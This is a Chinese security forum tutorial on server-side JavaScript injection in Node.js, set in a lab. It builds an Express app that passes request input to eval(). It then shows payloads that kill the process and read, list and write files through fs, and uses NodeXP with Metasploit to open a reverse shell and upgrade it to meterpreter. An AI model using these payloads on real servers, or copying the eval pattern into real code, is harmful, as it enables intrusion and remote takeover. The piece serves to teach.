用户
搜索

该用户从未签到

i春秋-脚本小子

公众号:掌控安全EDU

Rank: 2

3

主题

7

帖子

69

魔法币
收听
0
粉丝
0
注册时间
2018-8-14
ZKAQ i春秋-脚本小子 公众号:掌控安全EDU 楼主
发表于 2019-11-25 11:49:01 03574

0x00 前言
hello我是掌控安全实验室的聂风,JavaScript在Node.js的帮助下变成了服务端脚本语言,那么既然是服务端脚本语言,就可能存在一些安全性问题。SSJI(服务器端JavaScript注入) 就是一种比较新颖的攻击手法。攻击者可以利用JS函数在服务器上执行恶意JS代码获得cmdshell。

0x01 环境搭建
工具:
https://github.com/esmog/nodexp/archive/master.zip
Metasploit-frameword(MSF)
搭建:
先傻瓜式的安装Node.js
安装好后Node.js 记得再安装一个express框架
npm install express –save (新版的Node.js都自带了npm)

0x02 SSJI危害
如果没有对输入进行检测,那么可能会容易受到攻击,攻击者可以利用JS函数在服务器上执行恶意JS代码。
可利用的函数有什么?
Eval()setTimeout()Setinterval()Funtion()
例如:(Eval.js
var express = require('express');var app = express();app.get('/', function(req, res) {      var resp=eval(req.query.name);     res.send('Response</br>'+resp);});app.listen(3002);console.log('Server runing at http://127.0.0.1:3002/');
当我们使用Node.js去运行这个js的时候会在本地开启一个3002端口的WEB服务,然后他会获取GET方式传参上来的传参名为name的值,然后将获取到的值放在eval()函数中执行。
我们去访问这个端口
然后我们可以对他进行GET传参,比如name=console.log(“hello World”);
传参后就很明显执行了,在命令行中很明显的输出了Hello World!
那么我们既然能够执行输出,是不是能执行其他语句?比如一些恶意语句.
process.exit() / process.kill(process.pid)
还可以杀死他运行进程(NodeJs)
进程被终结掉了。
基本上,攻击者可以在系统上执行/执行几乎任何操作(在用户权限限制内) 我们还可以尝试调用核心模块fs读取/列出当前目录下的文件名和文件夹名
res.end(require('fs').readdirSync('.').toString())
我们也可以尝试调用核心模块fs写入文件(虽然没有回显,但是还是成功写入)
res.end(require('fs').writeFileSync('message.txt','hello'))
我们也可以尝试调用核心模块fs去读取他的文件
res.end(require('fs').readFileSync('a.js','utf-8'))
如果目标的机器上面安装了node-cmd就可以调用cmd (为显示明了我去调用一个exe安装)
var nodeCmd = require('node-cmd');nodeCmd.run('360cse_9.5.0.138.exe');
很明显我们就调用了cmd

0x03 通过nodexp获取cmdshell
我们也可以尝试使用NodeXP工具加MSF来成功的获取一个cmdshell
使用方法:
GET:  python nodexp.py –url=http://localhost:3001/?name=[INJECT_HERE]
POST:  python nodexp.py –url=http://localhost:3001/post.js –pdata=username=[INJECT_HERE]
设置一个攻击机器的IP(装有MSF)
设定端口
然后会自动运行一个MSF 自动配置好
选择1去打一个cmdshell
成功返回一个session
选中 sessions -i 1 (然后会卡,直接恩回车就行)
成功获得cmdshell
MSF运行语句:
[Bash shell] 纯文本查看 复制代码
Processing /root/nodexp-master/scripts/nodejs_shell.rc for ERB directives.resource (/root/nodexp-master/scripts/nodejs_shell.rc)> use exploit/multi/handlerresource (/root/nodexp-master/scripts/nodejs_shell.rc)> set payload nodejs/shell_reverse_tcppayload => nodejs/shell_reverse_tcpresource (/root/nodexp-master/scripts/nodejs_shell.rc)> set lhost 172.16.0.160lhost => 172.16.0.160resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set lport 4570lport => 4570resource (/root/nodexp-master/scripts/nodejs_shell.rc)> set ExitOnSession trueExitOnSession => trueresource (/root/nodexp-master/scripts/nodejs_shell.rc)> set InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter'InitialAutoRunScript => post/multi/manage/shell_to_meterpreterresource (/root/nodexp-master/scripts/nodejs_shell.rc)> spool /root/nodexp-master/scripts/nodejs_shell.rc.output.txt
Spooling to file /root/nodexp-master/scripts/nodejs_shell.rc.output.txt...resource (/root/nodexp-master/scripts/nodejs_shell.rc)> exploit -j -z
Exploit running as background job 0.
Exploit completed, but no session was created.
Started reverse TCP handler on 172.16.0.160:4570 msf5 exploit(multi/handler) >
Command shell session 1 opened (172.16.0.160:4570 -> 172.16.0.236:51759) at 2019-03-21 18:01:56 +0800
Session ID 1 (172.16.0.160:4570 -> 172.16.0.236:51759) processing InitialAutoRunScript 'post/multi/manage/shell_to_meterpreter'[!] SESSION may not be compatible with this module.
Upgrading session ID: 1
0x04 总结
现在使用JavaScript开发的网站将越来越多,但是SSJI(服务器端JavaScript注入) 并没有受到重视,还属于比较冷门的攻击手法,但是该攻击手法危害高,应当重视起来。Node.js 安全性的范围很大,该文章作为一个引子,掌控安全实验室将持续跟进分析,希望大家支持!下期见。

发新帖
您需要登录后才可以回帖 登录 | 立即注册